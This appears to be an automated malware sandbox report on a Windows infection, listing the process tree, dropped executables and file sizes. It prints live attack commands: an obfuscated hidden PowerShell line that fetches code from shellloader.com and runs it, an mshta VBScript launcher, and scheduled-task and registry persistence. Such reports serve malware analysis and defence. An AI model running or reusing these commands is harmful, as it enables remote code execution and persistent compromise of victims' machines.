C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST12⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST12⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\Documents\zdZVyapibwnBn_aKyFMlsAan.exe"C:\Users\Admin\Documents\zdZVyapibwnBn_aKyFMlsAan.exe"11⤵
-
C:\Users\Admin\Documents\zdZVyapibwnBn_aKyFMlsAan.exe"C:\Users\Admin\Documents\zdZVyapibwnBn_aKyFMlsAan.exe"12⤵
-
-
-
C:\Users\Admin\Documents\hCTIj_yrDGuGia2H82IiDGM3.exe"C:\Users\Admin\Documents\hCTIj_yrDGuGia2H82IiDGM3.exe"11⤵
-
C:\Users\Admin\Documents\hCTIj_yrDGuGia2H82IiDGM3.exeC:\Users\Admin\Documents\hCTIj_yrDGuGia2H82IiDGM3.exe12⤵
-
-
C:\Users\Admin\Documents\hCTIj_yrDGuGia2H82IiDGM3.exeC:\Users\Admin\Documents\hCTIj_yrDGuGia2H82IiDGM3.exe12⤵
-
-
C:\Users\Admin\Documents\hCTIj_yrDGuGia2H82IiDGM3.exeC:\Users\Admin\Documents\hCTIj_yrDGuGia2H82IiDGM3.exe12⤵
-
-
-
C:\Users\Admin\Documents\O8J8DQI590G4aGGpbwJ6cPyF.exe"C:\Users\Admin\Documents\O8J8DQI590G4aGGpbwJ6cPyF.exe"11⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt: CloSE ( CReATEobJECT ( "WscrIpt.SheLL"). Run ( "cmD.exe /Q /c TYPE ""C:\Users\Admin\Documents\O8J8DQI590G4aGGpbwJ6cPyF.exe"" > X4d4XArNWDu.eXE && StArt X4D4XarNWDu.Exe -PXPoqL0iOUHHP7hXFattB5ZvsV & if """" == """" for %A IN ( ""C:\Users\Admin\Documents\O8J8DQI590G4aGGpbwJ6cPyF.exe"" ) do taskkill /f -im ""%~nxA"" " , 0 , trUE ) )12⤵
-
-
-
C:\Users\Admin\Documents\I8gR_D3JUS84C1x5HCxRxyjv.exe"C:\Users\Admin\Documents\I8gR_D3JUS84C1x5HCxRxyjv.exe"11⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\om0gi0h4.ou2\autosubplayer.exe /S & exit9⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vkayyqqt.23g\installer.exe /qn CAMPAIGN=654 & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\vkayyqqt.23g\installer.exeC:\Users\Admin\AppData\Local\Temp\vkayyqqt.23g\installer.exe /qn CAMPAIGN=65410⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\x1jksazr.cpx\app.exe /8-2222 & exit9⤵
-
C:\Users\Admin\AppData\Local\Temp\x1jksazr.cpx\app.exeC:\Users\Admin\AppData\Local\Temp\x1jksazr.cpx\app.exe /8-222210⤵
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu2102ff6cfe07c.exe4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21568b0ab8.exe4⤵
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu2156de5489c19.exe4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Thu21b9847cb6727.exe4⤵
- Suspicious use of WriteProcessMemory
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCFDC84F4\Thu21568b0ab8.exeThu21568b0ab8.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\2.exe"C:\Users\Admin\AppData\Local\Temp\2.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3772 -s 11724⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\ProgramData\8351701.exe"C:\ProgramData\8351701.exe"4⤵
-
-
C:\ProgramData\8507205.exe"C:\ProgramData\8507205.exe"4⤵
-
-
C:\ProgramData\1228889.exe"C:\ProgramData\1228889.exe"4⤵
-
-
C:\ProgramData\4548370.exe"C:\ProgramData\4548370.exe"4⤵
-
-
C:\ProgramData\5577426.exe"C:\ProgramData\5577426.exe"4⤵
-
-
C:\ProgramData\4771912.exe"C:\ProgramData\4771912.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"3⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'5⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\AppData\Roaming\services64.exe"C:\Users\Admin\AppData\Roaming\services64.exe"4⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit5⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'6⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4212 -s 7684⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4212 -s 9404⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4212 -s 9564⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4212 -s 10044⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4212 -s 9604⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4212 -s 10884⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4212 -s 7604⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\udptest.exe"C:\Users\Admin\AppData\Local\Temp\udptest.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\DVORAK.exe"C:\Users\Admin\AppData\Local\Temp\DVORAK.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 204 -s 15284⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-E0SD5.tmp\setup_2.tmp"C:\Users\Admin\AppData\Local\Temp\is-E0SD5.tmp\setup_2.tmp" /SL5="$3030C,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\setup_2.exe"C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT5⤵
-
C:\Users\Admin\AppData\Local\Temp\is-B8O6D.tmp\setup_2.tmp"C:\Users\Admin\AppData\Local\Temp\is-B8O6D.tmp\setup_2.tmp" /SL5="$20340,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT6⤵
-
C:\Users\Admin\AppData\Local\Temp\is-SCHIQ.tmp\postback.exe"C:\Users\Admin\AppData\Local\Temp\is-SCHIQ.tmp\postback.exe" ss17⤵
-
C:\Windows\SysWOW64\explorer.exeexplorer.exe ss18⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//shellloader.com/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"9⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#########-#ob#jec######t N#et#.W#####eb#Cl#ie#nt#).###Up#loa#dSt#######ri#####ng(#''h#t#tp#:###//shellloader.com/#w#el#co####me''#,###''S#e#ve#n#J#o###k##er''###)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"10⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AHBJo5LsI.exe"C:\Users\Admin\AppData\Local\Temp\AHBJo5LsI.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe"C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe"10⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\11⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\12⤵
-
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN rnyuf.exe /TR "C:\Users\Admin\AppData\Local\Temp\8aa75ad8ab\rnyuf.exe" /F11⤵
- Creates scheduled task(s)
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\wTc48IGtL.exe"C:\Users\Admin\AppData\Local\Temp\wTc48IGtL.exe"9⤵
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\3002.exe"C:\Users\Admin\AppData\Local\Temp\3002.exe"3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\3002.exe"C:\Users\Admin\AppData\Local\Temp\3002.exe" -a4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCFDC84F4\Thu2102ff6cfe07c.exeThu2102ff6cfe07c.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zSCFDC84F4\Thu2156de5489c19.exeThu2156de5489c19.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\tmpF293_tmp.exe"C:\Users\Admin\AppData\Local\Temp\tmpF293_tmp.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Windows\SysWOW64\cmd.execmd /c cmd < Attesa.wmv3⤵
-
C:\Windows\SysWOW64\cmd.execmd4⤵
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^VksJcWfNcDMqfgfCCoOQaENLrlkioAEZRevWUFgpnuTZyylQxdxsqDodbFGlKiEVZMohRaHWUFajKOGYZxNRyhZgTymgZtndBYqaWXYwInbclWFIZIldx$" Braccio.wmv5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comAdorarti.exe.com u5⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u6⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u7⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u8⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u9⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u10⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.comC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Adorarti.exe.com u11⤵
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\PING.EXEping localhost5⤵
- Runs ping.exe
-
-
-
-
C:\Windows\SysWOW64\dllhost.exedllhost.exe3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zSCFDC84F4\Thu21b9847cb6727.exeThu21b9847cb6727.exe1⤵
- Executes dropped EXE
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService1⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 2F624EF46A393D46CD81422B7E8D94EC C2⤵
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\D78F.exeC:\Users\Admin\AppData\Local\Temp\D78F.exe1⤵
-
C:\Windows\system32\verclsid.exe"C:\Windows\system32\verclsid.exe" /S /C {018D5C66-4533-4307-9B53-224DE2ED1FE6} /I {000214E6-0000-0000-C000-000000000046} /X 0x4011⤵
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
80KB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
80KB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
504KB
-
Filesize
8KB
-
Filesize
44KB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
39.8MB
-
Filesize
836KB
-
Filesize
100KB
-
Filesize
100KB
-
Filesize
100KB
-
Filesize
572KB
-
Filesize
152KB
-
Filesize
100KB
-
Filesize
1.5MB
-
Filesize
84KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
39.4MB
-
Filesize
36KB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
184KB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
112KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
192KB
-
Filesize
8KB
-
Filesize
120KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
39.4MB
-
Filesize
124KB
-
Filesize
39.4MB
-
Filesize
1.3MB
-
Filesize
436KB
-
Filesize
39.4MB
-
Filesize
188KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
240KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
696KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
39.4MB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
8KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
188KB
-
Filesize
696KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
48KB
-
Filesize
8KB
-
Filesize
112KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
8KB